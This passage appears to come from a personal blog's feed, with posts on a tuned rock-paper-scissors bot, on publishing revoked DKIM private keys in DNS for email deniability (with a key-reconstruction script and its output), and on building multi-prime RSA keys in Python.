<code><span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha256</span></code>
</td></tr><tr><td class="linenos">2</td><td>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcssc1"># The constant used here came to me in a dream.</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcssn">state</span> <span class="pgcsso">=</span> <span class="pgcssnb">input</span> <span class="pgcssow">and</span> <span class="pgcssn">state</span> <span class="pgcsso">+</span> <span class="pgcssnb">input</span> <span class="pgcssow">or</span> <span class="pgcsss1">&#39;e+4sk5jfPPON3muIQJPM-KBCJPyYHgkkgXgpprL2&#39;</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcssn">output</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;RPS&#39;</span><span class="pgcssp">[</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">state</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">(),</span><span class="pgcssmi">16</span><span class="pgcssp">)</span><span class="pgcsso">%</span><span class="pgcssmi">3</span><span class="pgcssp">]</span></code>
</td></tr></tbody></table></div>
<p>It’s two lines of code, not counting the import and comment, and yet it has an
almost 60% win rate. How is that possible? The comment says “The constant used
here came to me in a dream”, which only raises further questions.</p>
<p>A bot playing randomly, for reference, can be expected to win about half of
the time, and the best bots on the site did around 80-85% - all this of being
against other bots.</p>
<p>Two lines of Python with a seemingly random constant shouldn’t be able to do
so well, should it?</p>
<p>The trick was, since all the bots had their code available on the site,
I simply downloaded them all, and ran simulations for days, generating
a random constant and seeing how it did against the existing bots. Eventually
I picked one.</p>
<p>Not at all magic, but the goal of this code really was just to make people who
saw it go “What the... What.... How!?”, and that it does. Knowing how it works
removes some of the wonder, but replaces it with appreciation (or perhaps
something else) for “hack value”.</p>
<p>I like making things that serve no practical purpose, but have that “hack
value” that others can enjoy. Someone once posted on a discussion about
another of my projects something to the effect of “I can’t hear you over the
sound of how awesome this is”.</p>
<p>The simple process of discovery - challenging myself to do something, going
into it unsure as to whether it’s possible, figuring it out, and implementing
it is rewarding on its own. Seeing the reactions, though, is some pretty
amazing icing on top of that already delicious cake.</p>
DKIM: Show Your Privates2020-11-02T20:02:00+00:002020-11-02T20:02:00+00:00ryanctag:rya.nc,2020-11-02:/dkim-privates.html<!-- included from `include/globals.rst` -->
<p>If you’re like most people, there’s a good chance that it’s been years since
you’ve sent an email that wasn’t cryptographically signed. You don’t use PGP,
you say? Well, even if <em>you</em> are not signing your email, your provider is
almost certainly doing it for you. Plausible deniability has been tossed aside
in the name of stopping spam, but it doesn’t have to be.</p>
<!-- included from `include/globals.rst` -->
<p>If you’re like most people, there’s a good chance that it’s been years since
you’ve sent an email that wasn’t cryptographically signed. You don’t use PGP,
you say? Well, even if <em>you</em> are not signing your email, your provider is
almost certainly doing it for you. Plausible deniability has been tossed aside
in the name of stopping spam, but it doesn’t have to be.</p>
<p><span class="abbr" data-title="DomainKeys Identified Mail"><abbr title="DomainKeys Identified Mail">DKIM</abbr></span>, originally standardized in 2007 by
<a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc4871.html">RFC 4871</a>, now has near universal<a class="footnote-reference" href="#id4">[1]</a><a id="id1"></a> adoption. To quote the RFC, the goal
behind the protocol is to “permit a signing domain to assert
responsibility for a message, thus protecting message signer identity and the
integrity of the messages they convey”. It’s one of several technologies used
prevent the sender identity information in email from being spoofed<a class="footnote-reference" href="#id5">[2]</a><a id="id2"></a>.
Anti-spam systems use it to help determine whether to consider the reputation
of a domain name when making a processing decision.</p>
<p>While <abbr title="DomainKeys Identified Mail">DKIM</abbr> was designed to be useful for spam
prevention, the cryptographic signatures it uses have quietly made a property
called “<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FNon-repudiation">non-repudiation</a>” the new normal for email. The term is used in
in contract law — for example if someone claims “that’s not my signature”, they
could be said to be “repudiating” the authenticity of the document. In the case
of email, the impact is that if you have a copy of an email in its original
format including full headers (for example, an email spool dump) you can
check the signature. The extent to which this is a reliable means of
verification varies depending on the circumstances — keys short enough to be
cracked used to be common, and in some cases straight-up theft of the
private keys is plausible.</p>
<p>Meanwhile, secure messaging tools like <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FOff-the-Record_Messaging">OTR</a> and
its successors have taken the approach of explicitly providing “deniable
encryption”. The
<a class="external" href="proxy.php?url=https%3A%2F%2Fsignal.org%2Fblog%2Fsimplifying-otr-deniability%2F%23potential-simplifications-and-improvements">state of the art</a>
allows a sender, given a recipient’s public key, to craft a fake transcript
apparently between the two of them that will pass cryptographic checks. This is
generally fine for users of these apps because they know what they said. To the
best of my knowledge, there is nowhere this creates a legal “get out of jail
free” card. All it really does is ensure the users of these tools aren’t
<em>reducing</em> their deniability by using the tool. This is an issue where
<abbr title="DomainKeys Identified Mail">DKIM</abbr> really fails its users, and I’m
apparently not the only one that feels this way.</p>
<blockquote>
<p>Apropos of nothing, I really wish Gmail would start publishing its expired DKIM secret keys.</p>
<p class="attribution">—<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fmatthew_d_green%2Fstatus%2F1323011619069321216">Matthew Green</a></p>
</blockquote>
<p>A little over three years ago, I started doing exactly that for my domain. Since
then, I’ve had a
<a class="external" href="proxy.php?url=https%3A%2F%2Fgist.github.com%2Fryancdotorg%2Fa8f565b9e4f0902eb7b5cd4cdefeea0f">key rotation script</a>
running every day, generating a new key and adding the appropriate record
(called a “selector”).</p>
<div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td>
<code>20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>h=<wbr>sha256;<wbr>p=<wbr>MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/<wbr>OB3lcT2apKtnu7MLjIRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/<wbr>8yY9Qy1eyNtTF5Y/<wbr>XSoLWoRVO1oly+<wbr>WL+<wbr>4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB"<wbr></code>
</td></tr></tbody></table></div>
<p>Each selector remains live for seven days, then is “revoked” by publishing an
update blanking the public key portion of the record.</p>
<div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td>
<code>20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>p=<wbr>"<wbr></code>
</td></tr></tbody></table></div>
<p>Once another three days pass, the minimal set of <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a>
parameters needed to recreate the public and private keys are published in the
selector’s “notes” field.</p>
<div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td>
<code>20170829-<wbr>b29b2444f764c222c3faf5c.<wbr>_domainkey.<wbr>ryanc.<wbr>org.<wbr> 5 <wbr>IN <wbr>TXT <wbr>"<wbr>v=<wbr>DKIM1;<wbr>t=<wbr>s;<wbr>p=<wbr>;<wbr>n=<wbr>e:<wbr>AQAB,<wbr>p:<wbr>6o/<wbr>8upWykC5USot9Q2o5M89EO1qA7J/<wbr>ao/<wbr>FPc2TUJKat+<wbr>z4JXde2HWW/<wbr>8D3LJR4hGwSpgwLMq9drTzdjbzFTkQ=<wbr>=<wbr>,<wbr>q:<wbr>+<wbr>RTTux+<wbr>yMx0LPyXDkAQiEBcOt8xYrr60s1sXO/<wbr>5nQSQSZBlLtRJKHQpz65MnIxlOCB+<wbr>1umqLW8q78hHC3Asxfw=<wbr>=<wbr>"<wbr></code>
</td></tr></tbody></table></div>
<p>The format here is non-standard, as a full RSA private key with all of the
redundant data it includes would exceed the 255 character limit for strings
stored in DNS<a class="footnote-reference" href="#id6">[3]</a><a id="id3"></a>. A small Python script is enough to reconstitute
everything, though.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fdkim-privates_%2Fattach%2Fdkim-private.py" id="dkim-private-py">dkim-private.py</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">gmpy2</span><span class="pgcsso">,</span> <span class="pgcssnn">sys</span><span class="pgcsso">,</span> <span class="pgcssnn">dns.resolver</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">Cryptodome.PublicKey</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSA</span></code>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">base64</span> <span class="pgcsskn">import</span> <span class="pgcssn">b64decode</span> <span class="pgcssk">as</span> <span class="pgcssn">b64d</span></code>
</td></tr><tr><td class="linenos">4</td><td>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">decode_dkim_private</span><span class="pgcssp">(</span><span class="pgcssn">txt</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">6</td><td>
<code> <span class="pgcssn">params</span> <span class="pgcsso">=</span> <span class="pgcssnb">dict</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">7</td><td>
<code> <span class="pgcssc1"># Parse the DKIM selector record.</span></code>
</td></tr><tr><td class="linenos">8</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">key</span><span class="pgcssp">,</span> <span class="pgcssn">_</span><span class="pgcssp">,</span> <span class="pgcssn">val</span> <span class="pgcssow">in</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span><span class="pgcsso">.</span><span class="pgcssn">partition</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;=&#39;</span><span class="pgcssp">),</span> <span class="pgcssn">txt</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;;&#39;</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">9</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">key</span> <span class="pgcsso">==</span> <span class="pgcsss1">&#39;n&#39;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">10</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcssn">v</span> <span class="pgcssow">in</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;:&#39;</span><span class="pgcssp">),</span> <span class="pgcssn">val</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;,&#39;</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">11</td><td>
<code> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcssn">k</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b64d</span><span class="pgcssp">(</span><span class="pgcssn">v</span><span class="pgcssp">),</span> <span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code> <span class="pgcssc1"># Compute rest of RSA keypair parameters (if possible).</span></code>
</td></tr><tr><td class="linenos">13</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssnb">all</span> <span class="pgcssp">(</span><span class="pgcssn">k</span> <span class="pgcssow">in</span> <span class="pgcssn">params</span> <span class="pgcssk">for</span> <span class="pgcssn">k</span> <span class="pgcssow">in</span> <span class="pgcssp">(</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;p&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;q&#39;</span><span class="pgcssp">)):</span></code>
</td></tr><tr><td class="linenos">14</td><td>
<code> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;n&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;p&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">*</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;q&#39;</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">15</td><td>
<code> <span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;p&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span> <span class="pgcsso">*</span> <span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;q&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">16</td><td>
<code> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;d&#39;</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">],</span> <span class="pgcssn">phi</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">17</td><td>
<code> <span class="pgcssn">rsa</span> <span class="pgcsso">=</span> <span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcssn">x</span><span class="pgcssp">],</span> <span class="pgcsss1">&#39;nedpq&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">18</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">construct</span><span class="pgcssp">(</span><span class="pgcssnb">tuple</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">19</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">20</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcsskc">None</span></code>
</td></tr><tr><td class="linenos">21</td><td>
</td></tr><tr><td class="linenos">22</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">&#39;__main__&#39;</span> <span class="pgcssow">and</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssmi">3</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">23</td><td>
<code> <span class="pgcssn">domain</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">24</td><td>
<code> <span class="pgcssn">selector</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">25</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">answer</span> <span class="pgcssow">in</span> <span class="pgcssn">dns</span><span class="pgcsso">.</span><span class="pgcssn">resolver</span><span class="pgcsso">.</span><span class="pgcssn">query</span><span class="pgcssp">(</span><span class="pgcssn">selector</span> <span class="pgcsso">+</span> <span class="pgcsss1">&#39;._domainkey.&#39;</span> <span class="pgcsso">+</span> <span class="pgcssn">domain</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;TXT&#39;</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">26</td><td>
<code> <span class="pgcssn">txt</span> <span class="pgcsso">=</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">answer</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">strip</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;&quot;&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">27</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">decode_dkim_private</span><span class="pgcssp">(</span><span class="pgcssn">txt</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">exportKey</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">())</span></code>
</td></tr></tbody></table></div>
<p>An example run:</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td>
<code><span class="pgcssgp">$ </span>./dkim-private.py<span class="pgcssw"> </span><span class="pgcsss1">&#39;ryanc.org&#39;</span><span class="pgcssw"> </span><span class="pgcsss1">&#39;20170829-b29b2444f764c222c3faf5c&#39;</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">-----BEGIN RSA PRIVATE KEY-----</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">MIICXQIBAAKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/OB3lcT2apKtnu7MLj</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">IRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/8yY9Qy</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">1eyNtTF5Y/XSoLWoRVO1oly+WL+4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">AoGBAKClArD7PzExKGJcIQqHIjqEzdfVdbVfyc+JfUiX72h2bE78wzXDUIUMYnrs</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">nJ7gJeaO5ycG5ST29sQtAkVRwn1KTLaU9fYmGpbkKyOWWfmztppZIvwi9l4tU5h2</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">GJVw+HbhcWO6tYbTqR9Bc8IelXyVibwmJwImr0AoD8sBLryhAkEA6o/8upWykC5U</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">Sot9Q2o5M89EO1qA7J/ao/FPc2TUJKat+z4JXde2HWW/8D3LJR4hGwSpgwLMq9dr</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">TzdjbzFTkQJBAPkU07sfsjMdCz8lw5AEIhAXDrfMWK6+tLNbFzv+Z0EkEmQZS7US</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">Sh0Kc+uTJyMZTggftbpqi1vKu/IRwtwLMX8CQFT/ABGMlTvxzdGFYkq/fyLrBEqN</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">rRIRiuTFWIj0DHuLepgEDtjWhcN5T2f6vFYi6NQliFdU+F18ngICjCGKukECQHse</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">ClIyJpkRQB/kgLfM8zFU1FeRUDx/0z3cRq3G4C7Yr6Z+wmcsNSoJoqbMw8mblnB5</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">jBAq3dtvaFsM4G53se0CQQC9ocR9eQdXvq5ibwZAmgYcMLEaq7NeX//l6zdxLd52</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">NcVcuaAUzf5KdTRwA9gJ4Qdzwntc+UB2ElpI2AOj7AFV</span></code>
</td></tr><tr><td>
<code><span class="pgcssgo">-----END RSA PRIVATE KEY-----</span></code>
</td></tr></tbody></table></div>
<p>When I originally set this up, I was a bit concerned that I’d run into issues
with filtering systems trying to validate my sent emails significantly after
delivery. Per the RFC:</p>
<blockquote>
A signer should not sign with a private key when the selector containing the
corresponding public key is expected to be revoked or removed before the
verifier has an opportunity to validate the signature. The signer should
anticipate that verifiers may choose to defer validation, perhaps until the
message is actually read by the final recipient. In particular, when
rotating to a new key pair, signing should immediately commence with the
new private key and the old public key should be retained for a reasonable
validation interval before being removed from the key server.</blockquote>
<p>In the process of writing this up, I went through the 24 months of
query logs I have. With very few exceptions (most of which were probably my
own testing) there were no lookups against selectors other than on the day they
were being used, so this doesn’t seem to be a problem in practice.</p>
<p>I alluded to it earlier, but I want to be clear — publishing
<abbr title="DomainKeys Identified Mail">DKIM</abbr> private keys like this mainly
addresses leaks as a threat model. In a legal dispute, mail server logs and/or
stored mail can be subpoenaed if the authenticity of messages is in question.
Even in my case, where I have my own mail server on dedicated hardware with
full disk encryption at an undisclosed location, most mail I send will be
delivered to a server operated by a third party with no incentive to alter logs
at the behest of the recipient.</p>
<p>It would make for a fascinating experiment for one of the privacy focused email
providers to try deploying a key management strategy similar to the one I’ve
described in this post.</p>
Artisanal RSA2020-08-17T11:53:00-07:002020-08-17T11:53:00-07:00ryanctag:rya.nc,2020-08-17:/artisanal-rsa.html<!-- included from `include/globals.rst` -->
<p>Sometimes hacking requires doing things that, while possible to do
with some algorithm, simply aren’t supported by any existing implementation.
Usually for good reason. A good example of this that I’ve run into in the past
is needing to initialize a hash algorithm with a specific state. There’s really
not any reason to do this unless you’re trying to execute a
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLength_extension_attack">length extension attack</a>, and with the exception of
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbwall%2FHashPump">HashPump</a> (which was written specifically
for that use case) I’m not aware of any library that supports it. I recently
ran into this with problem with <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a>.</p>
<!-- included from `include/globals.rst` -->
<p>Sometimes hacking requires doing things that, while possible to do
with some algorithm, simply aren’t supported by any existing implementation.
Usually for good reason. A good example of this that I’ve run into in the past
is needing to initialize a hash algorithm with a specific state. There’s really
not any reason to do this unless you’re trying to execute a
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLength_extension_attack">length extension attack</a>, and with the exception of
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbwall%2FHashPump">HashPump</a> (which was written specifically
for that use case) I’m not aware of any library that supports it. I recently
ran into this with problem with <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a>.</p>
<div class="section" id="a-quick-review-of-rsa-keys">
<h2><a href="#a-quick-review-of-rsa-keys" rel="bookmark">A Quick Review of RSA Keys</a></h2>
<p>RSA private keys consist of:</p>
<ul class="simple">
<li><span class="formula"><i>n</i></span>, the composite modulus</li>
<li><span class="formula"><i>e</i></span>, the public exponent</li>
<li><span class="formula"><i>d</i></span>, the private exponent</li>
<li>some other values that can be ignored for now</li>
</ul>
<p>In order to find <span class="formula"><i>d</i></span>, <span class="formula"><i>φ</i>(<i>n</i>)</span> must first be computed by
subtracting one from each of the prime factors of <span class="formula"><i>n</i></span> and taking
their product. Next <span class="formula"><i>d</i></span> is calculated using the
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FExtended_Euclidean_algorithm">extended Euclidean algorithm</a> to find the modular multiplicative inverse
of <span class="formula"><i>e</i></span> with respect to <span class="formula"><i>φ</i>(<i>n</i>)</span>, such that
<span class="formula"><i>de</i> <span class="text">mod</span> <i>φ</i>(<i>n</i>) ≡ 1</span>.
For the math to work out, <span class="formula"><i>e</i></span> cannot share any factors with
<span class="formula"><i>φ</i>(<i>n</i>)</span>. The security of RSA relies on it being infeasible to find
<span class="formula"><i>d</i></span> without the prime factors of <span class="formula"><i>n</i></span>. In practice, keys are
normally generated by picking two random prime numbers of similar length,
using 65537<a class="footnote-reference" href="#id4">[1]</a><a id="id1"></a> for <span class="formula"><i>e</i></span>, and computing everything else from there.</p>
<p>Readers already familiar with RSA may be wondering why I haven’t mentioned
the customary names for the primes factors of <span class="formula"><i>n</i></span> — <span class="formula"><i>p</i></span> and
<span class="formula"><i>q</i></span>.
That is because RSA works just fine with more than two primes. There was an
offhand reference to this in the original
<a class="external" href="proxy.php?url=https%3A%2F%2Fpatents.google.com%2Fpatent%2FUS4405829A%2Fen">RSA patent</a>:</p>
<blockquote>
In alternative embodiments, the present invention
may use a modulus n which is a product of three or
more primes (not necessarily distinct<a class="footnote-reference" href="#id5">[2]</a><a id="id2"></a>).</blockquote>
<p>So-called “Multi-Prime RSA” allows faster computations with a given modulus
size, but as far as I can tell it’s never seen much use.
There’s been some interest as a
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.imperialviolet.org%2F2011%2F04%2F09%2Fmultiprime.html">performance optimization</a>
since
<span class="abbr" data-title="Certificate Authorities"><abbr title="Certificate Authorities">CAs</abbr></span> started requiring a minimum modulus size
of 2048 bits, but wide support for
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FElliptic_Curve_Digital_Signature_Algorithm">ECDSA</a>
(which is much faster for private key operations) has relegated it to obscurity.</p>
</div>
<div class="section" id="shenanigans">
<h2><a href="#shenanigans" rel="bookmark">Shenanigans</a></h2>
<p>In my previous post, “<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">Stupid Certificate Tricks</a>”,
I showed how to create an RSA key with custom parameters in order to embed data
in a certificate. That was a relatively simple case —
<a class="external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2F">PyCryptodome</a><a class="footnote-reference" href="#id6">[3]</a><a id="id3"></a>
has
<a class="code external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2Fsrc%2Fpublic_key%2Frsa.html%23Crypto.PublicKey.RSA.construct">RSA.construct()</a>
which allows a key to be instantiated with arbitrary values for
the modulus <span class="formula"><i>n</i></span>,
public exponent <span class="formula"><i>e</i></span>,
private exponent <span class="formula"><i>d</i></span>,
first prime <span class="formula"><i>p</i></span>,
and second prime <span class="formula"><i>q</i></span>.
Having to compute <span class="formula"><i>n</i></span> and <span class="formula"><i>d</i></span> even though they can be derived from
the other three values is a mild annoyance, but in the end not a big deal.
Unfortunately the API doesn’t allow specifying a third or further primes, which
I found myself needing to do.</p>
</div>
<div class="section" id="serialization">
<h2><a href="#serialization" rel="bookmark">Serialization</a></h2>
<p>When I went to research possible solutions, I made several surprising
discoveries. First, support for multi-prime RSA had been added
to Go’s standard library
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fgolang%2Fgo%2Fcommit%2F555685e26cb0c83843724778510575b61c6bc91e">in 2011</a>.
Second, <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FPKCS_1">PKCS</a> defined serialization of such keys in
version 2.1, which was released in 2002. Finally, OpenSSL added support
in <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.openssl.org%2Fnews%2Fopenssl-1.1.1-notes.html">version 1.1.1</a>.</p>
<p>At this point, I was gritting my teeth a bit because like many TLS related data
formats, RSA private keys use
<a class="external" href="proxy.php?url=https%3A%2F%2Fletsencrypt.org%2Fdocs%2Fa-warm-welcome-to-asn1-and-der%2F">ASN.1</a>. I like
dealing with ASN.1 about as much as I like dealing with XML, which is to say,
not at all. A bit of searching turned up
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fetingof%2Fpyasn1">pyasn1</a>
which made things tolerable. To make the ASN.1 serialization work, all I had to
do was translate the definitions from <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc8017.html%23appendix-A.1.2">RFC 8017</a> into Python
and write a bit of code to compute all of the derived values given a public
exponent and list of primes.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa_%2Fattach%2Fmprsa.py" id="mprsa-py">mprsa.py</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">re</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">sys</span></code>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">gmpy2</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">base64</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span></code>
</td></tr><tr><td class="linenos">6</td><td>
</td></tr><tr><td class="linenos">7</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">functools</span> <span class="pgcsskn">import</span> <span class="pgcssn">reduce</span></code>
